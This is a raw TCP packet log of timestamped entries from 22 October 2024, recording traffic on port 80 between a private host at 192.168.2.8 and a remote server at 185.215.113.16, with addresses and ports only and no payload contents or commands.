Oct 22, 2024 19:25:17.847899914 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.847917080 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.847934961 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.847953081 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.847969055 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.847987890 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.847985983 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.847985983 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.847986937 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.848015070 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.848031044 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.848050117 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.848076105 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.848076105 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.848078012 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.848076105 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.848095894 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.848104954 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.848114967 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.848131895 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.848144054 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.848149061 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.848165989 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.848170996 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.848182917 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.848201036 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.848207951 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.848229885 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.848228931 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.848246098 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.848263025 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.848273993 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.848278999 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.848295927 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.848297119 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.848313093 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.848315954 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.848330975 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.848352909 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.848356962 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.848380089 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.848387003 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.848402977 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.848418951 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.848419905 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.848434925 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.848463058 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.848468065 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.848468065 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.848480940 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.848496914 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.848499060 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.848509073 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.848517895 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.848521948 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.848535061 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.848542929 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.848547935 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.848561049 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.848573923 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.848587036 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.848588943 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.848598957 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.848612070 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.848613024 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.848625898 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.848637104 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.848639011 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.848653078 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.848661900 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.848664999 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.848683119 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.848697901 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.848720074 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.848736048 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.848737955 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.848748922 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.848761082 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.848767996 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.848773003 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.848788977 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.848802090 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.848808050 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.848826885 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.848826885 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.848844051 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.848855972 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.848860979 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.848880053 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.848887920 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.848896980 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.848906040 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.848923922 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.848953962 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.848993063 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.849005938 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.849020958 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.849030972 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.849034071 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.849047899 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.849061966 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.849071026 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.849075079 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.849087954 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.849101067 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.849102020 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.849104881 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.849107981 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.849122047 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.849124908 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.849133968 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.849147081 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.849150896 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.849159002 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.849169970 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.849183083 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.849183083 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.849194050 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.849203110 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.849206924 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.849220037 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.849234104 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.849261045 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.849281073 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.849344015 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.849361897 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.849392891 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.849400997 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.849411011 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.849417925 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.849435091 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.849452019 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.849456072 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.849473953 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.849481106 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.849481106 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.849503040 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.849505901 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.849526882 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.849530935 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.849554062 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.849560976 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.849566936 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.849570036 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.849572897 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.849575996 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.849577904 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.849581957 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.849591017 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.849607944 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.849622011 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.849634886 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.849656105 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.849673033 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.849679947 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.849698067 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.849699974 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.849719048 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.849726915 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.849746943 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.849764109 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.849781990 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.849957943 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.849982023 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.849998951 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.850028038 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.850044012 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.850056887 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.850070953 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.850084066 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.850117922 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.850172043 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.850214958 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.850229979 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.850241899 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.850255966 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.850264072 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.850270033 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.850284100 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.850296021 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.850306034 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.850306988 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.850310087 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.850322962 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.850334883 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.850337029 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.850351095 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.850356102 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.850363970 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.850379944 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.850409985 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.850409985 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.002450943 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.002470970 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.002717018 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.067543983 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.067574024 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.067591906 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.067608118 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.067625046 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.067641020 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.067656994 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.067671061 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.067701101 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.067743063 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.067758083 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.067773104 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.067790031 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.067806959 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.067831039 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.067836046 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.067847013 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.067862988 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.067881107 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.067933083 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.067933083 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.067933083 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.067933083 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.067989111 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.068005085 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.068021059 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.068037987 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.068061113 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.068062067 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.068090916 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.068124056 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.068136930 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.068137884 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.068155050 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.068173885 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.068185091 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.068185091 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.068190098 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.068205118 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.068217039 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.068217039 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.068221092 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.068236113 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.068255901 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.068262100 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.068274975 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.068279028 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.068295002 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.068310976 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.068320990 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.068321943 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.068336010 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.068345070 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.068351984 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.068368912 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.068370104 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.068383932 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.068394899 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.068408012 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.068413019 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.068427086 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.068442106 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.068454981 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.068454981 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.068460941 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.068475008 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.068478107 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.068495035 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.068516016 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.068516016 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.068589926 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.068607092 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.068636894 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.068653107 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.068660021 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.068672895 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.068676949 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.068692923 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.068694115 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.068717957 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.068717957 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.068737984 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.068741083 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.068756104 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.068773031 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.068789005 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.068809986 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.068810940 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.068825960 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.068826914 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.068883896 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.068893909 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.068909883 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.068941116 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.068941116 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.068947077 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.068963051 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.068964005 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.068989038 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.069004059 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.069009066 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.069009066 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.069020987 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.069031000 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.069036961 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.069061995 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.069062948 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.069062948 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.069073915 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.069089890 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.069124937 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.069124937 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.069127083 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.069143057 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.069158077 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.069178104 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.069178104 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.069183111 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.069200039 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.069200039 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.069215059 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.069220066 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.069231033 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.069242001 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.069248915 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.069262028 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.069267035 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.069283962 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.069291115 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.069291115 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.069317102 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.069317102 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.069327116 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.069356918 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.069372892 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.069380045 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.069387913 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.069405079 CEST	80	49728	185.215.113.16	192.168.2.8
